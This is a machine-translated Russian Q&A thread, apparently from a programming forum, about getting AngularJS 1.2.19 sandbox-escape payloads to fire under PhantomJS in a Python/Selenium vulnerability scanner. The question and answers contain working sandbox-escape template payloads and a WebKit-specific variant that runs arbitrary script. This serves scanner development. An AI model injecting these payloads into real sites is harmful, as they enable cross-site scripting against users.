Странное поведение JavaScript в PhantomJS/WebKit

Я создаю приложение на Python, которое проверяет, уязвимо ли какое-либо веб-приложение для Escape/Bypass в AngularJS Sandbox.

Вот как это работает.

Мое приложение запускает локальный веб-сервер (http://localhost), используя следующий контент.

<!DOCTYPE html>
<html>
    <head>
        <script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
    </head>
    <body ng-app="">
        {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
    </body>
</html>

Полезная нагрузка Sandbox Escape, которую я использую, это {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}, которая должна открывать новое окно из-за вызова open(1).

После запуска веб-сервера он использует Selenium (с драйвером PhantomJS в качестве драйвера), чтобы проверить, открылось ли новое окно из-за ошибки SandboxJS Sandbox.

capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False

browser = webdriver.PhantomJS(
    executable_path="../phantomjs/win-2.1.1",
    desired_capabilities=capabilities,
)

browser.get("http://localhost/")

return len(browser.window_handles) >= 2

Проблема, с которой я сталкиваюсь

PhantomJS не открывает новое окно. Когда я перейду к http://localhost с помощью Google Chrome, откроет новое окно.

Вот журнал консоли PhantomJS (содержащий две ошибки):

[
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    },
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    }
]

И это журнал консоли Google Chrome (выдает ошибку, но открывает новое окно):

Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
    at angular.js:36
    at Object.r (angular.js:8756)
    at k.$digest (angular.js:12426)
    at k.$apply (angular.js:12699)
    at angular.js:1418
    at Object.d [as invoke] (angular.js:3917)
    at c (angular.js:1416)
    at cc (angular.js:1430)
    at Xc (angular.js:1343)
    at angular.js:21773

Некоторые другие утилиты для работы с песочницами AngularJS Sandbox работают без проблем. Например, полезная нагрузка ниже (для AngularJS версии 1.0.0 до 1.1.5) открывает новое окно в Chrome, а также PhantomJS.

{{constructor.constructor('open(1)')()}}

Я надеюсь, что кто-то сможет помочь мне исправить эту проблему, чтобы я смог определить, успешно ли загружена полезная нагрузка.

Обратите внимание, что я использую open(1) вместо alert(1), так как невозможно обнаружить предупреждения в PhantomJS.

Спасибо заранее.


Обновление 1:

Это JSFiddle, который работает в Google Chrome, но не работает в PhantomJS. Я ищу решение (возможно, изменение полезной нагрузки или настроек PhantomJS или что-то еще), так что полезная нагрузка также запускается в PhantomJS.

https://jsfiddle.net/x90ey5fa/

Обновление 2:

Я выяснил, что это не связано с AngularJS. JSFiddle ниже содержит 4 строки JavaScript, которые работают в Google Chrome, но не работают в PhantomJS. Я также добавил консольный журнал из PhantomJS.

https://jsfiddle.net/x90ey5fa/2/

{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n  Function (undefined:1)\n  sort (:0)", 'timestamp': 1501795341539}`

Сведения о версии:

Operating System: Windows 10 x64

Python version: 3.6.1

Google Chrome version: 60.0.3112.78

PhantomJS version: 2.1.1

Selenium version: 3.4.3 (installed via PIP)

Ответ 1

Ваша ошибка Safari очень освещается (и я пинаю себя за то, что не читаю ее более внимательно). Обратите внимание:

Синтаксическая ошибка: Неожиданный токен '('. Ожидаемый ')' или ',' после объявления параметра .

Эта часть parameter declaration важна.

Что делает полезная нагрузка

  • Установите c в конструктор toString, Function (который создает функции)
  • Перенаправляет прототип Function toString метода call
  • Сортирует массив с помощью c, создавая новую функцию с помощью Function("a", "open(1)")
  • Я не уверен, почему, но результат этого sort преобразуется в строку через toString, который перенаправлен на call, что приводит к вызову новой функции, которая вызывает open(1)

Так оно и работает в Chrome. Однако .sort() не обязательно работает одинаково во всех браузерах. Он просто должен разбирать вещи... так почему это имеет значение, в каком порядке он смотрит на предметы? В конце концов, переданная функция должна гарантировать, что все выйдет в правильном порядке.

Как MDN говорит, синтаксис Function есть

Function ([arg1[, arg2[, ...argN]],] functionBody)

WebKit сортирует его "назад", поэтому вместо вызова Function("a", "open(1)") он делает вызов Function("open(1)", "a"). Когда заданы несколько аргументов, последний считается телом функции, а все остальные интерпретируются как аргументы. Вот почему вы получаете неожиданный токен. Скобки не являются действительной частью имени параметра.

Вот альтернатива:

c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)

Я тестировал его в своем браузере на основе QtWebKit и работал. Конечно, это также вызовет SyntaxError в Chrome, потому что аргументы "назад"...


Ниже приведены несколько попыток заставить это работать без проблем в Angular как на PhantomJS, так и на Chrome. Опять же, они не работают. Я оставляю их здесь, если они вдохновляют кого-то создать более полное решение.

Работает на PhantomJS и Chrome, но не с Angular (из-за Function):

[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)

Работает с Angular в Chrome, но не с PhantomJS:

c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)

Ответ 2

Вы можете сделать это различными способами. Чтобы назвать несколько:

Вы можете создать (или удалить) элемент HTML и обнаружить его в Selenium.

Кроме того, вы можете сделать console.log и определить его следующим образом: Есть ли способ просматривать сообщения консоли console.log через Selenium/GhostDriver?

И другим способом может быть вызов функции PhantomJS, который будет напрямую уведомлять экземпляр phantom с любой полезной нагрузкой, которую вы хотите (так долго поскольку полезная нагрузка JSON.stringifable).

Никогда не использовался Selenium, поэтому не знаете, можете ли вы получить доступ к экземпляру PhantomJS/page. Если Selenium позволяет вам сделать это, вы можете сделать что-то вроде этого:

phantomjs.page.onCallback = function(data) {
    console.log('CALLBACK: ' + JSON.stringify(data));
};

И на вашей веб-странице:

{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}

Например, если вы можете запустить код JavaScript, который вы хотите, вы можете делать все, что можете себе представить.

Легкий способ сделать это - вещь в "обратном режиме".